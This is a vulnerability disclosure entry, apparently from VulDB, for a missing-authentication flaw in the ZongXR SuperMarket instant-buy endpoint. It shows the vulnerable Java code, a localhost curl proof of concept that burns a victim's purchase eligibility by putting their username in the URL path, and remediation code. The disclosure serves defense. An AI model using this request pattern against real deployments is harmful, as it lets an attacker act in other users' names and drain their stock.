| Titre | ZongXR SuperMarket master Missing Authentication |
|---|
| Description | # Summary
The instant buy/seckill module in the Supermarket platform (master branch) contains a critical access control vulnerability. The endpoint GET /instantbuy/manage/{itemId}/{userName} accepts the userName parameter directly from the URL path without validating it against the authenticated user's identity. This allows an authenticated attacker to create seckill success records for arbitrary victim usernames, burning their one-time purchase eligibility and depleting inventory under the victim's name.
# Details
Controller - trusts path parameter directly:
```java
@RequestMapping(value = "/manage/{itemId}/{userName}", method = RequestMethod.GET)
public CommonResult<?> startBuy(
@PathVariable("itemId") String itemId,
@PathVariable("userName") String userName
) {
if (userName == null)
return CommonResult.unauthorized("用户尚未登录");
this.instantBuyService.startBuy(itemId, userName); // Uses attacker-controlled userName
return CommonResult.success("开始抢购");
}
```
Service - propagates poisoned username to Redis & DB:
```java
// Redis key: itemId + userName (attacker controls userName)
this.redisTemplate.opsForValue().set(itemId + userName, "SUCCESS", 1, TimeUnit.HOURS);
// RabbitMQ message contains userName
this.rabbitTemplate.convertSendAndReceive("instantBuyExchange", "instantBuy", itemId + userName);
```
Consumer - writes poisoned data to database:
```java
String userName = msg.substring(36, msg.length());
this.instantBuyDao.insertItemSuccess(new InstantBuySuccess(
null, itemId, userName, 0, date
));
```
Affected files:
instant-buy/src/main/java/com/supermarket/instantbuy/controller/InstantBuyController.java
instant-buy/src/main/java/com/supermarket/instantbuy/service/InstantBuyServiceImpl.java
instant-buy/src/main/java/com/supermarket/instantbuy/service/Consumer.java
zuul-gateway/src/main/resources/application.properties (custom.uri.check does not contain /instantbuy/**)
# POC
```
1. Attacker finds seckill item ID: 123e4567-e89b-12d3-a456-426614174000
2. Attacker sends:
GET /instantbuy/manage/123e4567-e89b-12d3-a456-426614174000/victimUser
3. System:
- Decrements inventory (5 → 4)
- Sets Redis key: "123e4567...victimUser" = "SUCCESS"
- Inserts DB record: {item_id, user_name: "victimUser"}
4. Victim later tries to purchase:
GET /instantbuy/manage/123e4567.../victimUser
5. System:
- Checks Redis: "123e4567...victimUser" exists
- Returns: "您已经秒杀过该商品" (Already purchased)
RESULT: Victim's one-time seckill eligibility is permanently burned
```
---
## PoC - Verification
### Pre-Attack State
```bash
# Check inventory
curl http://localhost:8085/instantbuy/verify/item
# Response: number = 5
# Check success records
curl http://localhost:8085/instantbuy/verify/success
# Response: []
```
### Attack
```bash
curl "http://localhost:8085/instantbuy/manage/123e4567-e89b-12d3-a456-426614174000/victimUser"
# Response: {"status":200,"message":"操作成功"}
```
### Post-Attack State
```bash
# Inventory decreased
curl http://localhost:8085/instantbuy/verify/item
# Response: number = 4
# Victim record inserted
curl http://localhost:8085/instantbuy/verify/success
# Response: [{"user_name": "victimUser"}]
# Redis marker set
curl http://localhost:8085/instantbuy/verify/redis
# Response: {"123e4567...victimUser": "SUCCESS"}
```
### Victim Attempts Purchase
```bash
curl "http://localhost:8085/instantbuy/manage/123e4567.../victimUser"
# Response: {"status":201,"message":"您已经秒杀过该商品"}
```
---
## Remediation
### Fix - Use Authenticated User Only
```java
@PostMapping("/manage/{itemId}")
public CommonResult<?> startBuy(
@PathVariable("itemId") String itemId,
Authentication authentication
) {
String userName = authentication.getName(); // ✅ From security context
instantBuyService.startBuy(itemId, userName);
return CommonResult.success("开始抢购");
}
```
### Alternative - Validate Path Parameter
```java
@GetMapping("/manage/{itemId}/{userName}")
public CommonResult<?> startBuy(
@PathVariable("itemId") String itemId,
@PathVariable("userName") String userName,
Authentication authentication
) {
String currentUser = authentication.getName();
if (!currentUser.equals(userName)) { // ✅ Enforce ownership
return CommonResult.forbidden("Cannot act on behalf of other users");
}
instantBuyService.startBuy(itemId, userName);
return CommonResult.success("开始抢购");
}
```
### Additional Fix - Check Before Decrement
```java
// Check duplicate purchase BEFORE decrementing inventory
Boolean itemUser = this.redisTemplate.hasKey(itemId + userName);
if (itemUser != null && itemUser) {
throw new MsgException("您已经秒杀过该商品");
}
// Then decrement inventory
long number = this.redisTemplate.opsForHash().increment("INSTANT_" + itemId, "number", -1);
```
|
|---|
| La source | ⚠️ https://github.com/ZongXR/SuperMarket/issues/30 |
|---|
| Utilisateur | 360alphalab (UID 100924) |
|---|
| Soumission | 03/09/2026 05:32 (il y a 28 jours) |
|---|
| Modérer | 30/09/2026 21:07 (28 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 412349 [ZongXR SuperMarket 1.0.0.0 Instant Buy InstantBuyController.java startBuy userName authentification faible] |
|---|
| Points | 20 |
|---|